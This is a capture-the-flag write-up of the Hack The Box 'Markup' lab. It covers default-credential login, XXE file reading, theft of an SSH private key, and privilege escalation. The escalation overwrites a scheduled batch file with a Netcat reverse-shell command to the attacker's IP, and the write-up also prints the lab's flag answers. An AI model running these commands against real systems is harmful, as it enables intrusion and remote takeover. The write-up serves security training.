# Markup (Tier 2)

## <mark style="color:blue;">Description</mark>

* **Tier&#x20;**<mark style="color:green;">**->**</mark> 2
* **Difficult** <mark style="color:green;">**->**</mark> Very Easy
* **OS** <mark style="color:green;">**->**</mark> Windows
* **Tags&#x20;**<mark style="color:green;">**->**</mark> Apache / SSH / PHP / Reconnaissance / Scheduled Job Abuse / Weak Credentials\
  &#x20;              / Arbitrary File Upload / XXE Injection / Weak Permissions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FNTz7MKvFSYogH0mpassH%2Fimage.png?alt=media&#x26;token=95d8c4fb-4f53-41ab-83c8-987e823b4412" alt=""><figcaption><p><a href="https://app.hackthebox.com/starting-point?tier=1">https://app.hackthebox.com/starting-point?tier=2</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* I started doing an initial scan with [_Nmap_](../../../networks/tools-and-utilities#nmap)

<pre class="language-bash" data-line-numbers><code class="lang-bash"><strong>nmap 10.129.136.233 -p- -Pn --min-rate 2500 -oN scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FYUteBGKqVjuMH1mI5DRI%2Fimage.png?alt=media&#x26;token=b94c6b85-1ed4-4715-bbc4-73d58a934d1e" alt=""><figcaption></figcaption></figure>

***

* Then to learn more about the services running on the open ports found, I did an exhaustive scan

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nmap 10.129.136.233 -p22,80,443 -sVC -oN serv_scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FDzyIECe4gcQ44JA4d9q4%2Fimage.png?alt=media&#x26;token=f6f9e986-9747-4e55-bd5b-55d0b8baa301" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* With this, I answered the first question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F341SywQEneMEYRw1CzOk%2Fimage.png?alt=media&#x26;token=c6218cbf-1322-41c9-b964-67171bb2279c" alt=""><figcaption></figcaption></figure>

> Answer: _**2.4.41**_

***

* I found the HTTP service running on port 80, so I went to the browser to explore the content and found a login page. I tried logging in with common credentials, and fortunately, using the combination of username _admin_ and password _password,_ I got in successfully to a new dashboard

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FApX57IprTSh3nSUEsV21%2Fimage.png?alt=media&#x26;token=fa4228c8-80bd-48d0-9ef5-862a4289a90f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FE063Qb3wswTKp43vrucv%2Fimage.png?alt=media&#x26;token=ea74aeeb-9b01-476b-8d00-3bf5548624cb" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](../../networks/protocols/http)
{% endhint %}

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FzKq948TIdiZtzlQvg4VZ%2Fimage.png?alt=media&#x26;token=c1838dd8-83f1-45c8-a436-69fb7f08e883" alt=""><figcaption></figcaption></figure>

> Answer: _**admin:password**_

***

* Then I explored the tabs of the website, where in the _Contact_ tab I found an email and a form for submission. Unfortunately, the form didn't work, so we went to the Order tab, which also had a form. After filling out that one and clicking on the _Submit_ button, it worked, giving me a pop-up informing the request had been sent&#x20;

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FzGk84Ctr6QNC20yk79l2%2Fimage.png?alt=media&#x26;token=2066ff06-ab78-4eb2-ac0e-1b1983dd099c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FKxmKvYg30OVurwgCrgxT%2Fimage.png?alt=media&#x26;token=16b76cae-3514-43df-b76a-13a043158c3f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FmInTfA3E8ZC9uEUDJ6Tw%2Fimage.png?alt=media&#x26;token=c0f576d0-0ce9-4a32-8f25-ea2c12047d9b" alt=""><figcaption></figcaption></figure>

***

* So to check how the request was being sent, I used [_FoxyProxy_](../../../web-exploitation/tools-and-utilities#foxyproxy) and [_Burp Suite_](../../../web-exploitation/tools-and-utilities#burp-suite) to intercept the request. I noticed a session cookie from _PHP,_ and what caught my attention was the fact that the site was sending the information using _XML_

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FSbArz1NKfmia5Dnlunwc%2Fimage.png?alt=media&#x26;token=524d1e71-f5af-4cec-9e33-21222d6d6622" alt=""><figcaption></figcaption></figure>

***

* With this and a little research, I answered the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F4qTaVYocgfYpFsYHxQcd%2Fimage.png?alt=media&#x26;token=5482ded4-9c17-489d-b110-17e9d9f5310e" alt=""><figcaption></figcaption></figure>

> Answer: _**order**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FBhLRjGoFlUvQpHM4IGWj%2Fimage.png?alt=media&#x26;token=602293ec-6f0c-42ab-b45c-67811b9b0d12" alt=""><figcaption></figcaption></figure>

> Answer: _**1.0**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FQRwCocEw2ZKjFCcJ9mc5%2Fimage.png?alt=media&#x26;token=b5997c81-7fc0-43ce-8620-0bb8580df1f3" alt=""><figcaption></figcaption></figure>

> Answer: _**XML External Entity**_

***

* To retrieve more information about this section, I checked the source code, finding a commentary from one of the developers with his name, which could be a user of the system. So, as I didn't find anything else interesting, I could use this information to modify the _XML_ of the petition

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F3jWJlvUsQRYjLj9l0u85%2Fimage.png?alt=media&#x26;token=a6ba603e-73ef-441d-b7ca-d2ea6a315d0a" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCG5z4oanSpuO2iRDpIpW%2Fimage.png?alt=media&#x26;token=ed7cb8df-2de2-4f4b-ad25-8aeb6a90242b" alt=""><figcaption></figcaption></figure>

> Answer: _**Daniel**_

***

* I tried making a test for a possible XEE Injection, and it worked successfully, being able to retrieve the content of the _/etc/hosts_ Windows file. With this and the previous information found, I tried accessing the Desktop folder for the user _Daniel_ and reading the _user.txt_ file, which usually contains the user flag, and it worked

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FDvw79Tm6zZtBTSdxZd2U%2Fimage.png?alt=media&#x26;token=ccd4a15a-7ec6-4274-993e-59c84fb8bc6d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F9MmVLmSQ2eS360VoZk3n%2Fimage.png?alt=media&#x26;token=88c2899f-a10f-432e-b32c-c62c22f8bff0" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about XXE Injection, you can go [here](../../web-exploitation/broken-access-control/command-injection-1).
{% endhint %}

***

* So, I continued retrieving possible files that could help to gain access to the system as one of the users. Checking for configurations of the SSH protocol for _Daniel_, I found a file with the default name _id\_rsa,_ being this the private key for the user. So I used this to connect through SSH to the system as the Daniel user, and it worked

{% code overflow="wrap" lineNumbers="true" %}
```bash
ssh Daniel@10.129.136.233 -i ssh_key
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FROzxZMCPtdFWqsu13KoJ%2Fimage.png?alt=media&#x26;token=49f8e372-2297-45af-93d4-557f4a1c4b03" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FpZPprOfjiGNXD28hslnn%2Fimage.png?alt=media&#x26;token=3b6abe65-193f-4a16-9021-29d82528bacd" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the SSH protocol, you can go [here](../../networks/protocols/ssh)
{% endhint %}

***

* Once inside, I tried accessing a PowerShell and the system let me do it without any issue. Then I checked for the privileges of the user but didn't find anything relevant, so I continued exploring the system for a possible way to escalate privileges

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FWoeWLUZAC0Hwtkdp72H0%2Fimage.png?alt=media&#x26;token=ed9013bd-e0ad-41fe-8765-d13d656d3727" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FG52Eiw2zXBZTYxTx4mHL%2Fimage.png?alt=media&#x26;token=c3493f43-aee3-4863-ab35-1a08bb6f7633" alt=""><figcaption></figcaption></figure>

***

* Exploring the root folder _C:\\_ I found a particular folder named _Log-Management,_ which is not a standard system file for _Windows_. So I accessed it and listed its content, finding a _job.bat_ file, and checking that, I saw it was a script that seemed to be a programmed task that was interacting with an executable named _wevtutil.exe_. Also, the script said that it could only be run with administrator permissions, letting us know it was being called with privileges&#x20;

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FmeFV1wHgggFe75zyj2GQ%2Fimage.png?alt=media&#x26;token=407fefe2-1968-4a7d-84ae-aa668b347483" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FSD3vr8iaLaJMrwkQajPV%2Fimage.png?alt=media&#x26;token=a65a2d7f-e5e0-4c80-9e39-19910a11edfd" alt=""><figcaption></figcaption></figure>

***

* With this and the previously found user flag, I answered the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FJEP7ILmrJ2K4UqEOewOd%2Fimage.png?alt=media&#x26;token=61fc6384-721b-49d2-bd2b-b649be496c8b" alt=""><figcaption></figcaption></figure>

> Answer: _**job.bat**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCaQ2hjrYymnFTAg5uBFH%2Fimage.png?alt=media&#x26;token=f7880a26-38b0-4b95-8e69-90620b65a505" alt=""><figcaption></figcaption></figure>

> Answer: _**wevtutil.exe**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FOCIsYarCncRUibY6I4db%2Fimage.png?alt=media&#x26;token=b8412659-e957-40ed-846f-8796340d7eb6" alt=""><figcaption></figcaption></figure>

> Answer: _**032d2fc8952a8c24e39c8f0ee9918ef7**_

***

* So I [searched](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil) about the functioning of this program, understanding that it was being called through the job to erase the logs of the system every so often. With this, I could check if the service was still running on the system and which permission it had, maybe letting us modify its content. So I checked, noticing it has full-control permissions for all the local users. Then I checked the current system processes and found the system was still using the program

{% code overflow="wrap" lineNumbers="true" %}
```powershell
icacls job.bat
ps
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fst0lNzqwaq3QV4gcqt8F%2Fimage.png?alt=media&#x26;token=4d5d26a5-3e97-45b0-920a-eb7d7d4274c9" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FWMxa34P8hevUK8zfwN1v%2Fimage.png?alt=media&#x26;token=34cff2ea-c654-4b63-bf34-7349baae2f0c" alt=""><figcaption><p>snippet</p></figcaption></figure>



***

* Knowing this, I could modify the content to possibly execute arbitrary programs or commands. So I tried using this to gain a Reverse Shell using a _Netcat_ executable, first downloading the corresponding file to our machine and importing it to the target machine

{% code overflow="wrap" lineNumbers="true" %}
```powershell
# In our machine
wget https://github.com/int0x33/nc.exe/blob/master/nc64.exe #Get NC executable
python3 -m http.server 1234 # In the folder where we have the executable

# In the target machine
wget http://10.10.14.117:1234/nc64.exe -outfile nc64.exe
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FuXJ52sNpwzOS2Q17kCX2%2Fimage.png?alt=media&#x26;token=cf2dc40e-9f29-448f-b519-b0f54d0cc73e" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn the details about the abuse of _.bat_ files for privilege escalation, you can go [here](../../../penetration-testing/process-stages/post-exploitation/privilege-escalation/windows-privilege-escalation#abusing-.bat-files-with-full-control-permissions)
{% endhint %}

***

* Then I set up a listener on my machine to receive the connection and pass the payload to the job file to execute _Netcat_. The PowerShell gave me an error, so I tried closing it and doing it from the _CMD_, this time working properly, and checked the content of the file had been modified successfully. Then I waited for the script to be executed by the system, and after a while, the listener caught the shell as the _Administrator_ user

{% code overflow="wrap" lineNumbers="true" %}
```powershell
# In our machine
nc -nvlp 4444

# In the target machine
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.117 4444 > C:\Log-Management\job.bat
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FiLOjTbtaR4777xHoTUML%2Fimage.png?alt=media&#x26;token=6aed8de2-3b83-4009-bdc3-d4813ca23e82" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F0Uciorzf2TTbLCyTRaUD%2Fimage.png?alt=media&#x26;token=bc78c178-996b-42f7-8132-3bcc39b7cab0" alt=""><figcaption></figcaption></figure>

***

* Finally, I went to the Desktop folder of the _Administrator_ user, listing its content and noticing a _root.txt_ file, and reading its contents, I obtained the root flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FE2XL14sfdjElONVeacrt%2Fimage.png?alt=media&#x26;token=73ad30b3-e375-4c65-8d3e-2b3a1bfd5e84" alt=""><figcaption></figcaption></figure>

***

* With this, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7IT97FbkPlTo5KtwskbE%2Fimage.png?alt=media&#x26;token=04037b77-8ec9-429a-87d1-9f8e19d957fe" alt=""><figcaption></figcaption></figure>

> Answer: _**f574a3e7650cebd8c39784299cb570f8**_
